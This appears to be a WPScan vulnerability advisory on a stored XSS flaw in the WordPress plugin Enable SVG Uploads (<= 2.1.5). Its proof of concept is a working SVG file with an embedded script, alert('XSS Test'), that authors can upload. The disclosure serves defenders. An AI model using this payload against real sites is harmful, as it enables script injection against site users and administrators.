WordPress Plugin Vulnerabilities
Enable SVG Uploads <= 2.1.5 - Author+ Stored XSS via SVG
Description
The plugin does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.
Proof of Concept
1. Upload a malicious SVG: <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> alert("XSS Test"); </script> </svg>
2. Add to post and view SVG to see XSS.
Affects Plugins
No known fix References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Mateus Machado Tesser
Submitter
Mateus Machado Tesser
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-06-19 (about 5 months ago)
Added
2023-06-19 (about 5 months ago)
Last Updated
2023-06-19 (about 5 months ago)
WPScan 